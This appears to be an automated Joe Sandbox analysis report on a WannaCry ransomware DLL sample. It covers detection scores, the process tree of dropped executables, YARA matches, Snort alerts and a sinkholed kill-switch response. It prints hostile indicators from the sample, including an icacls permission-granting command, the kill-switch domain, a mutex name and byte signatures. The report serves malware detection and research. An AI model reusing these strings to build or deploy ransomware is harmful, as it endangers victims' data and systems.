Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
tct5NKwZY8

Overview

General Information

Sample Name:tct5NKwZY8 (renamed file extension from none to dll)
Analysis ID:669652
MD5:78e030ff60df2138dd2c2a55eea33147
SHA1:76e70ffb7c6baae9e00bc57fd867e9b78ffb550e
SHA256:9a52b3add7580749d5c6fac089238e11939a8926ae5f9482a61a25ad7182a21f
Tags:dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Yara detected Wannacry ransomware
Antivirus / Scanner detection for submitted sample
Tries to download HTTP data from a sinkholed server
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Changes memory attributes in foreign processes to executable or writable
Tries to evade debugger and weak emulator (self modifying code)
Machine Learning detection for sample
Machine Learning detection for dropped file
Creates a thread in another existing process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Drops executables to the windows directory (C:\Windows) and starts them
Contains functionality to detect sleep reduction / modifications
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Entry point lies outside standard sections
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
AV process strings found (often used to terminate AV products)
Drops PE files
Contains functionality to read the PEB
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Dropped file seen in connection with other malware
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 7116 cmdline: loaddll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 7128 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 7160 cmdline: rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • mssecsvc.exe (PID: 5744 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 08F6BFCC5D9AC317C1838E4E08A9C949)
          • winlogon.exe (PID: 568 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)
          • lsass.exe (PID: 616 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)
          • fontdrvhost.exe (PID: 728 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • fontdrvhost.exe (PID: 736 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 812 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
            • BackgroundTransferHost.exe (PID: 5520 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
            • backgroundTaskHost.exe (PID: 6764 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca MD5: B7FC4A29431D4F795BBAB1FB182B759A)
            • BackgroundTransferHost.exe (PID: 6880 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
            • BackgroundTransferHost.exe (PID: 984 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
          • dwm.exe (PID: 992 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
          • svchost.exe (PID: 1016 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 336 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 324 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 896 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1040 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1144 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1188 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1292 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s lfsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1308 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1368 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s EventSystem MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • rundll32.exe (PID: 7148 cmdline: rundll32.exe C:\Users\user\Desktop\tct5NKwZY8.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 4048 cmdline: rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
      • mssecsvc.exe (PID: 4108 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 08F6BFCC5D9AC317C1838E4E08A9C949)
        • tasksche.exe (PID: 6812 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)
  • mssecsvc.exe (PID: 6456 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: 08F6BFCC5D9AC317C1838E4E08A9C949)
    • svchost.exe (PID: 744 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • svchost.exe (PID: 860 cmdline: c:\windows\system32\svchost.exe -k rpcss -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • svchost.exe (PID: 904 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3852 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3856 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7128 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 2856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
tct5NKwZY8.dllWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
  • 0x45604:$x1: icacls . /grant Everyone:F /T /C /Q
  • 0x353d0:$x3: tasksche.exe
  • 0x455e0:$x3: tasksche.exe
  • 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA
  • 0x45634:$x5: WNcry@2ol7
  • 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
  • 0x3028:$x7: mssecsvc.exe
  • 0x120ac:$x7: mssecsvc.exe
  • 0x1b3b4:$x7: mssecsvc.exe
  • 0x353a8:$x8: C:\%s\qeriuwjhrf
  • 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q
  • 0x3014:$s1: C:\%s\%s
  • 0x12098:$s1: C:\%s\%s
  • 0x1b39c:$s1: C:\%s\%s
  • 0x353bc:$s1: C:\%s\%s
  • 0x45534:$s3: cmd.exe /c "%s"
  • 0x77a88:$s4: msg/m_portuguese.wnry
  • 0x326f0:$s5: \\192.168.56.20\IPC$
  • 0x1fae5:$s6: \\172.16.99.5\IPC$
  • 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
  • 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
tct5NKwZY8.dllJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    tct5NKwZY8.dllwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\tasksche.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    C:\Windows\tasksche.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    C:\Windows\tasksche.exeWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
    C:\Windows\mssecsvc.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x3136c:$x3: tasksche.exe
    • 0x4157c:$x3: tasksche.exe
    • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0x415d0:$x5: WNcry@2ol7
    • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    • 0xe048:$x7: mssecsvc.exe
    • 0x17350:$x7: mssecsvc.exe
    • 0x31344:$x8: C:\%s\qeriuwjhrf
    • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xe034:$s1: C:\%s\%s
    • 0x17338:$s1: C:\%s\%s
    • 0x31358:$s1: C:\%s\%s
    • 0x414d0:$s3: cmd.exe /c "%s"
    • 0x73a24:$s4: msg/m_portuguese.wnry
    • 0x2e68c:$s5: \\192.168.56.20\IPC$
    • 0x1ba81:$s6: \\172.16.99.5\IPC$
    • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
    • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
    • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
    • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    C:\Windows\mssecsvc.exeWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
    • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
    • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
    • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
    • 0x1d439:$s1: __TREEID__PLACEHOLDER__
    • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
    • 0x1f508:$s1: __TREEID__PLACEHOLDER__
    • 0x20570:$s1: __TREEID__PLACEHOLDER__
    • 0x215d8:$s1: __TREEID__PLACEHOLDER__
    • 0x22640:$s1: __TREEID__PLACEHOLDER__
    • 0x236a8:$s1: __TREEID__PLACEHOLDER__
    • 0x24710:$s1: __TREEID__PLACEHOLDER__
    • 0x25778:$s1: __TREEID__PLACEHOLDER__
    • 0x267e0:$s1: __TREEID__PLACEHOLDER__
    • 0x27848:$s1: __TREEID__PLACEHOLDER__
    • 0x288b0:$s1: __TREEID__PLACEHOLDER__
    • 0x29918:$s1: __TREEID__PLACEHOLDER__
    • 0x2a980:$s1: __TREEID__PLACEHOLDER__
    • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
    • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e340:$s1: __TREEID__PLACEHOLDER__
    Click to see the 2 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    0000000A.00000000.464877122.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      00000016.00000000.532937600.000000000040E000.00000008.00000001.01000000.00000007.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
      • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
      • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
      00000006.00000000.452865526.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        00000006.00000002.541550184.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          Click to see the 24 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          6.0.mssecsvc.exe.7100a4.7.raw.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
          • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
          • 0xf4d8:$x3: tasksche.exe
          • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
          • 0xf52c:$x5: WNcry@2ol7
          • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
          • 0xf42c:$s3: cmd.exe /c "%s"
          • 0x41980:$s4: msg/m_portuguese.wnry
          • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
          • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
          • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
          6.0.mssecsvc.exe.7100a4.7.raw.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
          • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
          • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
          6.0.mssecsvc.exe.7100a4.7.raw.unpackWin32_Ransomware_WannaCryunknownReversingLabs
          • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
          • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
          4.0.mssecsvc.exe.7100a4.7.raw.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
          • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
          • 0xf4d8:$x3: tasksche.exe
          • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
          • 0xf52c:$x5: WNcry@2ol7
          • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
          • 0xf42c:$s3: cmd.exe /c "%s"
          • 0x41980:$s4: msg/m_portuguese.wnry
          • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
          • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
          • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
          4.0.mssecsvc.exe.7100a4.7.raw.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
          • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
          • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
          Click to see the 121 entries

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          Timestamp:104.16.173.80192.168.2.580499212031515 07/20/22-08:06:06.235290
          SID:2031515
          Source Port:80
          Destination Port:49921
          Protocol:TCP
          Classtype:Misc activity
          Timestamp:192.168.2.58.8.8.863565532024291 07/20/22-08:06:06.114118
          SID:2024291
          Source Port:63565
          Destination Port:53
          Protocol:UDP
          Classtype:A Network Trojan was detected
          Timestamp:35.205.61.67192.168.2.580499052037771 07/20/22-08:05:59.603960
          SID:2037771
          Source Port:80
          Destination Port:49905
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:8.8.8.8192.168.2.553620052811577 07/20/22-08:06:24.875006
          SID:2811577
          Source Port:53
          Destination Port:62005
          Protocol:UDP
          Classtype:A Network Trojan was detected
          Timestamp:104.16.173.80192.168.2.580497682031515 07/20/22-08:03:44.679413
          SID:2031515
          Source Port:80
          Destination Port:49768
          Protocol:TCP
          Classtype:Misc activity
          Timestamp:192.168.2.58.8.8.853757532024291 07/20/22-08:03:44.579415
          SID:2024291
          Source Port:53757
          Destination Port:53
          Protocol:UDP
          Classtype:A Network Trojan was detected
          Timestamp:8.8.8.8192.168.2.553558002811577 07/20/22-08:06:47.683012
          SID:2811577
          Source Port:53
          Destination Port:55800
          Protocol:UDP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.5104.16.173.8049921802024298 07/20/22-08:06:06.199743
          SID:2024298
          Source Port:49921
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:8.8.8.8192.168.2.553605252811577 07/20/22-08:07:08.596460
          SID:2811577
          Source Port:53
          Destination Port:60525
          Protocol:UDP
          Classtype:A Network Trojan was detected
          Timestamp:192.168.2.5104.16.173.8049768802024298 07/20/22-08:03:44.645949
          SID:2024298
          Source Port:49768
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for submitted file
          Source: tct5NKwZY8.dllVirustotal: Detection: 77%Perma Link
          Source: tct5NKwZY8.dllMetadefender: Detection: 68%Perma Link
          Source: tct5NKwZY8.dllReversingLabs: Detection: 96%
          Antivirus / Scanner detection for submitted sample
          Source: tct5NKwZY8.dllAvira: detected
          Antivirus detection for URL or domain
          Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comURL Reputation: Label: malware
          Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/URL Reputation: Label: malware
          Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/;vAvira URL Cloud: Label: malware
          Multi AV Scanner detection for domain / URL
          Source: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comVirustotal: Detection: 12%Perma Link
          Antivirus detection for dropped file
          Source: C:\Windows\mssecsvc.exeAvira: detection malicious, Label: W32/Virut.Gen
          Source: C:\Windows\tasksche.exeAvira: detection malicious, Label: TR/FileCoder.AU
          Multi AV Scanner detection for dropped file
          Source: C:\Windows\mssecsvc.exeMetadefender: Detection: 82%Perma Link
          Source: C:\Windows\mssecsvc.exeReversingLabs: Detection: 97%
          Source: C:\Windows\tasksche.exeMetadefender: Detection: 85%Perma Link
          Source: C:\Windows\tasksche.exeReversingLabs: Detection: 95%
          Machine Learning detection for sample
          Source: tct5NKwZY8.dllJoe Sandbox ML: detected
          Machine Learning detection for dropped file
          Source: C:\Windows\mssecsvc.exeJoe Sandbox ML: detected
          Source: C:\Windows\tasksche.exeJoe Sandbox ML: detected
          Source: 4.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
          Source: 10.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 22.2.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
          Source: 4.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 4.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 4.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 6.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 10.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 4.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
          Source: 10.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 4.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
          Source: 4.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
          Source: 4.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
          Source: 4.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 6.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
          Source: 10.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
          Source: 4.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
          Source: 22.0.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
          Source: 6.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
          Source: C:\Windows\tasksche.exeCode function: 22_2_004018B9 CryptReleaseContext,22_2_004018B9
          Source: tct5NKwZY8.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

          Networking

          barindex
          Tries to download HTTP data from a sinkholed server
          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 06:03:44 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72d97ed40e689b28-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta 